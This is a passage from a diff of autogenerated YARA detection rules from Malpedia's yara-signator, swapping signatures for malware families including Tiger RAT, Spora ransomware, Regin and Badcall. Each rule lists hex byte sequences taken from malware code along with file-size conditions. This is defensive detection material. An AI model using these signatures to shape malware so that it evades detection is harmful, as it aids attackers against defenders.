8bd8 85db 0f84bc000000 8bcb 8d5102 668b01 83c102 } - $sequence_3 = { 83e11f c1e106 8b048570750110 80640804fe ff36 e8???????? } - $sequence_4 = { 8a441918 8881a8670110 41 ebe8 8975e4 } - $sequence_5 = { 56 ff15???????? 56 e8???????? 8b35???????? 83c404 8b0d???????? } - $sequence_6 = { 8bca 894c2408 8d9b00000000 668b02 83c202 6685c0 75f5 } - $sequence_7 = { 66893441 8b1a ff15???????? 8bc3 8d5002 668b08 } - $sequence_8 = { 83f8ff 0f84ac000000 8d442418 50 56 } - $sequence_9 = { 8945dc 8d45cc 50 6a02 } - $sequence_10 = { 51 e8???????? 8b55e8 03f6 59 } - $sequence_11 = { 8bd0 b9???????? 8995c8fbffff 2bd1 } - $sequence_12 = { f3a5 8bca 83e103 f3a4 8b7c2414 83ef02 } - $sequence_13 = { eb1c 56 ff15???????? 57 ff15???????? } - $sequence_14 = { e8???????? 8b75f0 43 59 eb31 } + $sequence_0 = { 3ac3 7402 32c3 88040a } + $sequence_1 = { 8bd9 e8???????? 8bf8 893b } + $sequence_2 = { 8d55fc 03f9 e8???????? 59 85c0 } + $sequence_3 = { 0138 115804 eb02 0138 } + $sequence_4 = { 55 8bec 83ec50 53 57 8bd9 } + $sequence_5 = { ff75d9 8d45cc 50 57 } + $sequence_6 = { 56 8d0c30 ffd1 8bc6 5f } + $sequence_7 = { 8bf8 893e eb13 8b16 8bcf } + $sequence_8 = { 448850d2 448850d3 448850d4 448850d5 448850d6 448858d7 } + $sequence_9 = { 33d2 4c8d4c2420 4d895108 4889f1 4533c0 ff9550010000 4c8b542428 } + $sequence_10 = { e8???????? ba0a000000 4c8d15e189ffff 385558 } + $sequence_11 = { 415c 5f 5e c3 4c89e2 } + $sequence_12 = { 48c7c103000080 33d2 4c8d842498000000 4c8d8c24bc010000 4c897020 4c897028 } + $sequence_13 = { c78424bc01000000010000 488d8c2498000000 488d542448 ff95b8010000 4989e2 } + $sequence_14 = { 85c0 752e 4889e9 4889f2 } + $sequence_15 = { 4889742448 4489de 48897c2440 4489d7 4c89642438 4189c4 } condition: - 7 of them and filesize < 479232 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Atmitch_Auto : FILE +rule MALPEDIA_Win_Buterat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "40b30c3c-57b4-5224-a4e5-a107d24cada9" + id = "0069324a-e70e-54da-b752-be0a297a08d5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atmitch_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buterat_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "71ef7f74c9366c16202f9b9ae280ad39b24b004194d9f9aea8b4282ba76a3264" + logic_hash = "2a55e665ba3ad4c5f4e76ca6aa40a42d86bc8aa495194478ad6bc52271aa15de" score = 75 quality = 75 tags = "FILE" @@ -127058,32 +126974,32 @@ rule MALPEDIA_Win_Atmitch_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7407 8b542418 895004 837c242400 740c 8b442420 50 } - $sequence_1 = { ff15???????? 8d4c2414 ff15???????? 8d4c2410 ff15???????? } - $sequence_2 = { ff15???????? c744242000000000 833d????????02 7f05 e8???????? a1???????? } - $sequence_3 = { 8b4818 83c408 51 51 8bcc 8964241c } - $sequence_4 = { 50 680300020b ff15???????? 8d4c240e 51 51 8bcc } - $sequence_5 = { c645fc01 8b06 8b4804 8b443110 25c0010000 } - $sequence_6 = { 6aff 8d4c2414 ff15???????? 6a00 6a0a 8d4c2418 ff15???????? } - $sequence_7 = { 8bf8 83c404 33c9 33d2 33c0 6a11 } - $sequence_8 = { 8bcc 89642410 68???????? ff15???????? e8???????? 83c404 a1???????? } - $sequence_9 = { 8b0e 0fb7412c 83c408 83f809 774d ff2485f4200010 b8???????? } + $sequence_0 = { 7644 8b9ea05b4100 8d8e645a4100 8b11 395508 7305 895508 } + $sequence_1 = { 7e27 8b04b5e8034100 66833800 7508 8bc3 eb0d 33c0 } + $sequence_2 = { 85f6 7508 81ffb7000000 7514 8d8590f5ffff 50 be???????? } + $sequence_3 = { ff15???????? 85c0 8b4d14 8901 7505 2145fc } + $sequence_4 = { 85c0 0f849c010000 8d4dfc 51 53 68???????? e8???????? } + $sequence_5 = { 50 e8???????? 83c414 85c0 744e 68???????? 53 } + $sequence_6 = { 397df4 7477 813d????????60010000 7e6b 393d???????? 7463 bb00100000 } + $sequence_7 = { 8945fc 53 6800000080 53 53 ff7508 ff35???????? } + $sequence_8 = { 50 53 ffd7 b9???????? 8d8500f8ffff e8???????? 6a01 } + $sequence_9 = { c3 55 8bec b840180000 e8???????? ff15???????? 66833d????????00 } condition: - 7 of them and filesize < 73728 + 7 of them and filesize < 278528 } -rule MALPEDIA_Win_Socks5_Systemz_Auto : FILE +rule MALPEDIA_Win_Skynet_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4e63ffd3-d637-54dc-963b-d590dcc87c41" + id = "696c4936-7a3d-5b86-95a5-a0774cacd4ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socks5_systemz" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socks5_systemz_auto.yar#L1-L105" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skynet" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skynet_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "9d56f402c3f1fd51548e0c2bff2c38c0e563ae0abe552efe04d2796d89f7c180" + logic_hash = "1d32da1d46f2bb7e98914cbd9405f4812d3bd3786d6edfb45c62833d68ff1301" score = 75 quality = 75 tags = "FILE" @@ -127097,30 +127013,32 @@ rule MALPEDIA_Win_Socks5_Systemz_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf1 6a4c e8???????? 8bc8 83c404 894c240c c744241800000000 } - $sequence_1 = { 50 ff7314 ff7310 e8???????? 8b4310 83c410 } - $sequence_2 = { ff10 56 8b35???????? 6a00 ffd6 50 ffd3 } - $sequence_3 = { 83c148 e9???????? c3 b8???????? } - $sequence_4 = { 8b4dec 83c134 e9???????? 8b542408 8d42e4 8b4ae0 } - $sequence_5 = { 8975a0 e9???????? 8b45a0 6aff } - $sequence_6 = { 33ed 896c2414 eb0d 50 ff15???????? 8be8 } - $sequence_7 = { 8d44240c 50 8d4c2414 e8???????? c744241c01000000 89742420 c74424380f000000 } + $sequence_0 = { 4c8ba42438010000 4c8b4c2460 48b8ffffffffffffff7f 4c898c2430010000 4889bc2440010000 4939c4 } + $sequence_1 = { 4889d9 e8???????? 4889f1 e8???????? 488d8c24b0000000 e8???????? 4c89f1 } + $sequence_2 = { 0fb654243f 4889c8 4883e0fc 4809d0 48894520 e8???????? 488d8c24b0000000 } + $sequence_3 = { 488d059c478b00 31d2 4889f1 48894310 4883c028 48898380000000 e8???????? } + $sequence_4 = { 4889cb 488d0d21fd8900 e8???????? 4889c2 488b03 488b4008 488b04d0 } + $sequence_5 = { 4c894c2428 488d5001 e8???????? 4c8b4c2428 488b442420 4c894c2430 } + $sequence_6 = { 488b01 4889cb 480358e8 488d0586478a00 488903 488b05???????? 488d4b18 } + $sequence_7 = { 48c783b801000000000000 488983a8010000 0fb787e0000000 488d7b10 4889f9 668983b0010000 488d053dde8d00 } + $sequence_8 = { c705????????01000000 4883c010 488905???????? e8???????? 488d35d1c58b00 488b15???????? 664d0f6ec5 } + $sequence_9 = { e8???????? 488b4c2460 4c39e9 740f 488b442470 488d540002 e8???????? } condition: - 7 of them and filesize < 1417216 + 7 of them and filesize < 20419584 } -rule MALPEDIA_Win_Tiger_Rat_Auto : FILE +rule MALPEDIA_Win_Tclient_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "45a8f301-bb79-5b2b-bc44-a24cf96c6108" + id = "650e8891-ed90-5136-bd2f-e9d9bc478c30" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tiger_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tiger_rat_auto.yar#L1-L165" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tclient_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "86fb8964d90e4f85207407bd6a1343f7cd65992f2c3c62186f5ccbef201af0b2" + logic_hash = "8cec1eb16073a2ac15195a2fb3f4612d56f52a89cef4787143a34f4035169950" score = 75 quality = 75 tags = "FILE" @@ -127134,38 +127052,32 @@ rule MALPEDIA_Win_Tiger_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4883fbff 7425 48c74108ffffffff ba02000000 488bcb } - $sequence_1 = { 4883f8ff 740c 83caff 488bc8 ff15???????? 33c0 } - $sequence_2 = { 41b831000000 48895c2420 e8???????? 488bcb } - $sequence_3 = { 33d2 41b800020000 e8???????? c7832804000020000000 89bb30040000 48c7834c04000000000000 } - $sequence_4 = { 0fb745ae 663b0d???????? 750d 663b05???????? } - $sequence_5 = { 381a 7505 448bc3 eb11 4983c8ff 0f1f4000 } - $sequence_6 = { 2bef 488bcb 4c63c5 e8???????? 442be7 488bce } - $sequence_7 = { 49c1eb04 c0e104 0ac1 410fb6cf 0845d6 } - $sequence_8 = { 415f 5e c3 8b5650 33c9 41b800100000 } - $sequence_9 = { 4898 483de4000000 730f 488d0d1d840000 4803c0 8b04c1 eb02 } - $sequence_10 = { 8b4e28 4803cf e8???????? 488bbc24c0000000 } - $sequence_11 = { f30f7f4507 0b0d???????? 41b8d0070000 c745f74008027b } - $sequence_12 = { 488bdf 48c1fb05 4c8d353a1c0100 83e01f 486bf058 } - $sequence_13 = { 488d1578bd0000 488bcb 488905???????? ff15???????? 488bc8 ff15???????? 488d1570bd0000 } - $sequence_14 = { 0fb64c05b7 48ffc0 42324c05a7 4883f80f } - $sequence_15 = { 4c8d2d166e0100 413bff 7d77 488b0e } + $sequence_0 = { ffb5f0fdffff ff95e4fdffff 8bf0 83c40c 85f6 0f85ec020000 8b85f0fdffff } + $sequence_1 = { 6a00 50 e8???????? 83c40c c70340000000 8bcb e8???????? } + $sequence_2 = { 8d4508 8bcc 50 e8???????? 8d4dcc 885dfc e8???????? } + $sequence_3 = { 0f8521feffff 837d1001 0f857a010000 85f6 745f 8b4e04 57 } + $sequence_4 = { ff7508 8bd7 8bce e8???????? 59 59 5f } + $sequence_5 = { 8bf1 57 84d2 756a b800020000 66858620030000 755c } + $sequence_6 = { 8d45c8 50 8d7730 56 8d5750 8d4de8 e8???????? } + $sequence_7 = { 8b049dc0a04700 0fb6440828 83e001 0f848d000000 b8ffffff7f 3b4510 1bc0 } + $sequence_8 = { 3bd8 7e2c 8d95b0feffff 8d8d60faffff e8???????? 8b9da8faffff 8bf8 } + $sequence_9 = { 33c0 66898625030000 89862a030000 888627030000 888622030000 884660 88467c } condition: - 7 of them and filesize < 557056 + 7 of them and filesize < 1063936 } -rule MALPEDIA_Win_Latentbot_Auto : FILE +rule MALPEDIA_Win_Spora_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d1503e41-08e6-5adf-a875-66636893fe66" + id = "eb2e8bb4-ead2-5b5f-8d4b-4b5ca032457e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.latentbot_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spora_ransom_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "c8242f2d9f053ebc06f18c04d8c5d76f7cd68171deb734a7f00fb470d56dc52c" + logic_hash = "4e1870b731d039931c3cd87b8cbae836b84abbb8438fb88731c5b4fc00862572" score = 75 quality = 75 tags = "FILE" @@ -127179,32 +127091,32 @@ rule MALPEDIA_Win_Latentbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5f c3 55 8bec 8b4604 81ecdc020000 85c0 } - $sequence_1 = { 7505 be04000000 56 6800300000 8d44241c 50 6a00 } - $sequence_2 = { 8d4c2410 51 6aff ffd2 33c0 8703 } - $sequence_3 = { 8bc3 e8???????? 299ff42a0000 015e0c 295e10 015e14 8b87f42a0000 } - $sequence_4 = { ff5554 395d70 0f8689000000 833d????????06 752c 833d????????03 7434 } - $sequence_5 = { 83ec08 3bc2 7769 8d4c2404 51 8d542404 } - $sequence_6 = { 50 e8???????? 0145f8 837df805 8945e8 72e7 } - $sequence_7 = { 7814 8d5002 85d2 7406 8d440802 eb02 } - $sequence_8 = { 8b413c 53 03c1 0fb74814 56 0fb77006 33db } - $sequence_9 = { 66890477 46 3bf3 72ea 33c0 66890477 } + $sequence_0 = { 50 8d45f0 50 ff5508 } + $sequence_1 = { 7436 03fb 83ff0c 72ec } + $sequence_2 = { 53 56 ff7508 e8???????? 85c0 7422 56 } + $sequence_3 = { ff36 57 ff15???????? 57 e8???????? } + $sequence_4 = { 83fe0a 72e4 5e c9 c3 } + $sequence_5 = { 8bf0 85f6 7445 8365fc00 8d45fc 50 57 } + $sequence_6 = { 8d45f0 50 ff5508 d1eb 46 83fe1a 72c7 } + $sequence_7 = { 740e 8b45fc 8b4010 0fb6f0 } + $sequence_8 = { 0bf0 57 ff15???????? 5f 8bc6 } + $sequence_9 = { 741f ff36 ff15???????? 85c0 7413 0fb600 } condition: - 7 of them and filesize < 401408 + 7 of them and filesize < 73728 } -rule MALPEDIA_Win_Scavenger_Auto : FILE +rule MALPEDIA_Win_Backconfig_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d846177f-40f0-5608-9af6-8e72a353dfb4" + id = "18fd149c-ad9b-5433-8651-ac1dcd92de05" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scavenger_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backconfig_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "e670ed837cdbf1f563e9cd77410039750eec52dd374d49f9838ffc16cf920061" + logic_hash = "dc29e43fa81d60d5f53e6f4d5e158937c417e8f12650929b20d71338a8cb5ead" score = 75 quality = 75 tags = "FILE" @@ -127218,32 +127130,32 @@ rule MALPEDIA_Win_Scavenger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb6c0 85c0 7421 488b442430 488b00 4889442458 488b442458 } - $sequence_1 = { 488b442428 48c7401800000000 488b8424a8000000 488b4010 4889442470 488b8424a8000000 4889442430 } - $sequence_2 = { 4889442420 488b8c2410010000 e8???????? 4839842420010000 7606 e8???????? } - $sequence_3 = { 4889442440 488b442430 4883c010 4889442448 } - $sequence_4 = { 4889442438 e9???????? 33d2 b80f000000 b902000000 48f7f1 488b4c2430 } - $sequence_5 = { 488b442428 48c7401800000000 488b8424a8000000 488b4010 } - $sequence_6 = { 4889442420 488b442420 4889442448 488b442420 4883c008 4889442450 } - $sequence_7 = { 4889442468 48c7442430ffffffff 488b442430 4889442478 } - $sequence_8 = { 488378180f 760a c744243001000000 eb08 c744243000000000 0fb6442430 88442420 } - $sequence_9 = { 4883ec60 488b442470 4889442448 488b442478 4889442438 488b442438 } + $sequence_0 = { a1???????? 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff } + $sequence_1 = { e8???????? 8b4de4 83c40c 6bc930 8975e0 8db1682a4100 } + $sequence_2 = { 8a15???????? 8d8569ffffff 6a00 50 898d64ffffff 889568ffffff } + $sequence_3 = { c1f805 8d1485c0504100 8b0a 83e61f c1e606 03ce } + $sequence_4 = { 8bc3 c1f805 8d3c85c0504100 8bf3 83e61f c1e606 8b07 } + $sequence_5 = { 8b0d???????? 8b15???????? 8985f0feffff a1???????? 6a51 8985fcfeffff 898df4feffff } + $sequence_6 = { 8d8d2cfdffff 68???????? 51 e8???????? 83c414 68401f0000 } + $sequence_7 = { 6a00 50 898d64ffffff 889568ffffff e8???????? } + $sequence_8 = { 8bf1 83e61f 8d3c85c0504100 8b07 c1e606 f644300401 7436 } + $sequence_9 = { 8bec 8b4508 56 8d34c550224100 833e00 7513 } condition: - 7 of them and filesize < 2992128 + 7 of them and filesize < 217088 } -rule MALPEDIA_Win_Regin_Auto : FILE +rule MALPEDIA_Win_Dragonbreath_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "2a1f14e6-74a8-59d6-b749-05fe8ab02b70" + id = "dce0b381-95ab-5aa0-a119-0eedad899009" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regin" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.regin_auto.yar#L1-L116" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonbreath" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dragonbreath_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "c115cb715f448d4a7161dd2f6e1e57adc27409e679a96be3c8017531a1cc0da9" + logic_hash = "f0cd4604abe67553fcedb3fe371f55dd5d5d8e023a81a960ca3c6bc06a72d951" score = 75 quality = 75 tags = "FILE" @@ -127257,34 +127169,34 @@ rule MALPEDIA_Win_Regin_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 48 8bd3 e8???????? 40 32ff 48 8b5c2450 } - $sequence_1 = { 41 ffc0 48 8d4c2470 41 b904000000 } - $sequence_2 = { 85c0 740d 48 8d3551070000 } - $sequence_3 = { 48 0f45c7 4c 3be1 } - $sequence_4 = { 7408 33db 895c2460 eb7c 48 } - $sequence_5 = { 7505 e8???????? e8???????? 85c0 7518 e8???????? } - $sequence_6 = { 3beb 7406 ff15???????? 8ac3 48 8b9c2490000000 } - $sequence_7 = { 83ec28 83c8ff 48 85c9 } - $sequence_8 = { 89442478 48 85c0 0f84e8000000 } - $sequence_9 = { 4c 8d4008 48 8d5010 e8???????? 3ac3 } + $sequence_0 = { 83c410 eb14 8d8590fdffff 50 } + $sequence_1 = { 68???????? 8d4da8 51 e8???????? 8b7de4 } + $sequence_2 = { 8b5dd0 ebab c745e470820110 817de47c820110 7311 } + $sequence_3 = { 33db 8945c8 895dcc 895dd0 c745e80f000000 895de4 885dd4 } + $sequence_4 = { 2bcf b879787878 f7e9 c1fa07 8bf2 } + $sequence_5 = { 8dbd84fcffff 68ff010000 f3a5 8d8df5fdffff 6a00 51 } + $sequence_6 = { c1e006 8b0c8d80fb0110 8d440104 8020fe ff36 e8???????? 59 } + $sequence_7 = { e8???????? 85ff 7407 57 ff15???????? 8b8558fdffff 8b4df0 } + $sequence_8 = { 51 ff15???????? 46 3bb424dc110000 72e8 e9???????? } + $sequence_9 = { 8bd6 69d200a4d9fa 03ca b8b17c2195 f7e1 8bda c1eb15 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 295936 } -rule MALPEDIA_Win_Shimrat_Auto : FILE +rule MALPEDIA_Win_Badcall_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b3f34c04-651c-587d-bd77-b7f0b88267a0" + id = "233fe049-459f-50da-b51f-73303606a185" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shimrat_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.badcall_auto.yar#L1-L239" license_url = "N/A" - logic_hash = "f6aefe8dd1d3b634b60800b8c047d2a812717e57ed1af7e84c8f3a77485271ec" + logic_hash = "cbbb68fc4f4ef6dd9bf8f48d22c329386c6109c255e88f35209d20a078bb6b07" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -127296,34 +127208,48 @@ rule MALPEDIA_Win_Shimrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 59 ff750c 8b4d08 e8???????? 8b4508 5f } - $sequence_1 = { 6aff ff75fc 56 ff7514 ffd7 8bd8 8d4301 } - $sequence_2 = { 8d4d50 e8???????? ff7570 e8???????? 8d4d50 } - $sequence_3 = { 85ff 7e1a 8b19 ff742410 8d0433 50 e8???????? } - $sequence_4 = { ff15???????? 895df8 3bc3 0f8483000000 } - $sequence_5 = { 53 8d45e8 56 50 e8???????? 6a02 } - $sequence_6 = { 742e 837dfc04 7519 68???????? ff75f8 e8???????? 59 } - $sequence_7 = { 8d4ddc e8???????? 85c0 754b 8d4df0 e8???????? } - $sequence_8 = { 33c0 40 c3 a810 7404 } - $sequence_9 = { ff15???????? c20400 55 8bec 81ec88000000 8365ec00 53 } + $sequence_0 = { ff15???????? b907000000 33c0 8d7c240d } + $sequence_1 = { 85c0 754b bf???????? 83c9ff f2ae f7d1 49 } + $sequence_2 = { c644240c00 f3ab 66ab 8d4c242c c744240800000000 aa } + $sequence_3 = { 8bf1 89742404 8d4e18 e8???????? } + $sequence_4 = { 53 57 33db b97f000000 33c0 8dbc2415010000 } + $sequence_5 = { 89442412 8bf1 6685ff 66c74424080000 6689442416 746d 6a06 } + $sequence_6 = { e8???????? 85c0 7429 8b5604 8d4c240c 51 687e660480 } + $sequence_7 = { 56 89442406 57 8b7c241c 8944240e } + $sequence_8 = { 8b44242c 85c0 0f848a020000 33c9 48 } + $sequence_9 = { 8b742410 8d0c12 57 8bd9 33c0 8bfe 52 } + $sequence_10 = { 8b4c2410 85c9 0f849f080000 8bd1 8bcd } + $sequence_11 = { c1e902 f3a5 8bc8 8b442468 83e103 } + $sequence_12 = { 5f 898834010000 5e 33c0 } + $sequence_13 = { 750f 8b4614 85c0 0f87c2feffff 8b442414 8b442410 5f } + $sequence_14 = { 899014020000 8b94241c010000 898818020000 8b8c2420010000 89901c020000 } + $sequence_15 = { 899518010000 8b542414 85d2 7409 52 } + $sequence_16 = { 3bd1 7d06 ebda 3bd1 } + $sequence_17 = { 81ec2c010000 55 68???????? ff15???????? } + $sequence_18 = { e8???????? 8b442464 6a01 8d4c242c 6a04 51 57 } + $sequence_19 = { 5e 85c0 7406 33c0 83c454 c3 } + $sequence_20 = { 8bb6a48b0110 eb06 8bb6d88b0110 3bce 7e20 83e907 } + $sequence_21 = { 83c40c e9???????? 6a00 6883341200 57 c744242401000000 } + $sequence_22 = { 8d7c240d c644240c00 f3ab 8b35???????? 68???????? } + $sequence_23 = { 6a00 688f341200 56 e8???????? 83c40c 57 } condition: - 7 of them and filesize < 65536 + 7 of them and filesize < 483328 } -rule MALPEDIA_Win_Interception_Auto : FILE +rule MALPEDIA_Win_Batel_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f1a298d5-70e2-5f27-b6ee-691574cd9abf" + id = "ce5297ec-2628-56fe-90d3-14a58de70bd5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.interception" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.interception_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.batel" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.batel_auto.yar#L1-L219" license_url = "N/A" - logic_hash = "3520af3329a4b24d818d777e1e8f70b92d9cafa69a1f58bf6db64da9ed00530f" + logic_hash = "be5c7cfc92fc63831f946ba5608b114c38a6759dff1e1a478b017b493c38ecb1" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -127335,32 +127261,43 @@ rule MALPEDIA_Win_Interception_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83e61f 8d1c8520ae0010 c1e603 8b03 f644300401 7469 57 } - $sequence_1 = { 72f1 56 8bf1 c1e603 3b96e8710010 } - $sequence_2 = { c1f805 83e61f 8d1c8520ae0010 c1e603 8b03 } - $sequence_3 = { ffb6ec710010 8d8560ffffff 50 e8???????? 6810200100 8d8560ffffff } - $sequence_4 = { 8bd0 c1f905 83e21f 8b0c8d20ae0010 f644d10401 } - $sequence_5 = { 8d3c8520ae0010 c1e603 8b07 03c6 f6400401 7437 } - $sequence_6 = { f683c19c001004 7406 8816 46 } - $sequence_7 = { 8d542434 f3ab 66ab aa } - $sequence_8 = { 8bc8 83e01f c1f905 8b0c8d20ae0010 8a44c104 } - $sequence_9 = { 731c 8bc8 83e01f c1f905 8b0c8d20ae0010 f644c10401 8d04c1 } + $sequence_0 = { 33c0 5b c21000 3b0d???????? 7502 } + $sequence_1 = { eb35 a1???????? 81b80000230050450000 75eb b90b010000 66398818002300 } + $sequence_2 = { 7412 ffd0 56 ffd3 68005c2605 ffd5 47 } + $sequence_3 = { 8bec 81eca0020000 68ee020000 ff15???????? 689d020000 } + $sequence_4 = { 85f6 7422 68???????? 56 ff15???????? 85c0 7412 } + $sequence_5 = { 57 6a40 6800100000 689e020000 } + $sequence_6 = { 68005c2605 ffd5 47 83ff5a 7ccd 5f 5e } + $sequence_7 = { 55 8b2d???????? 56 57 68a00f0000 ffd5 8b1d???????? } + $sequence_8 = { 33c9 b8???????? 8a10 88940d60fdffff } + $sequence_9 = { 6868212300 e8???????? 33db 895de4 8d4594 50 ff15???????? } + $sequence_10 = { 8935???????? 68d0202300 68c4202300 e8???????? 59 59 } + $sequence_11 = { 66a5 ffd0 5f 5e } + $sequence_12 = { e9???????? 6894152300 e8???????? a1???????? c704242c302300 ff35???????? } + $sequence_13 = { ff15???????? 689d020000 8d8561fdffff 6a00 50 } + $sequence_14 = { 50 c68560fdffff00 e8???????? 83c40c 33c9 } + $sequence_15 = { 41 3d???????? 7cec 56 57 } + $sequence_16 = { 8b1d???????? bf01000000 8d642400 68???????? ff15???????? 8bf0 85f6 } + $sequence_17 = { c745fc00000000 6800002300 e8???????? 83c404 85c0 } + $sequence_18 = { 689e020000 6a00 ff15???????? 8bf8 b9a7000000 8db560fdffff f3a5 } + $sequence_19 = { c3 8bff 56 b858212300 be58212300 57 } + $sequence_20 = { 7419 ffd0 56 ffd3 68404c5827 ff15???????? 47 } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Avcrypt_Auto : FILE +rule MALPEDIA_Win_Shimrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6717dbdb-f4ba-5c23-a152-195fba62bfc4" + id = "b3f34c04-651c-587d-bd77-b7f0b88267a0" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avcrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avcrypt_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shimrat_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "88e8fd00aad138bd5391f93ff200b42a3193bfb4856f2e79b29034d74d91998c" + logic_hash = "f6aefe8dd1d3b634b60800b8c047d2a812717e57ed1af7e84c8f3a77485271ec" score = 75 quality = 75 tags = "FILE" @@ -127374,32 +127311,32 @@ rule MALPEDIA_Win_Avcrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c40c 8d4dc0 e8???????? be???????? c745fc02000000 56 } - $sequence_1 = { 0fb7c8 b8ffff0000 663bc1 8b4dec 6a04 58 } - $sequence_2 = { ddd8 db2d???????? b801000000 833d????????00 0f8516a20000 ba05000000 8d0d60974300 } - $sequence_3 = { 8b00 837dec08 8d4dd8 8bd0 0f434dd8 } - $sequence_4 = { e8???????? 59 8365fc00 8b049d80b54300 f644380401 7413 ff7510 } - $sequence_5 = { 8ac3 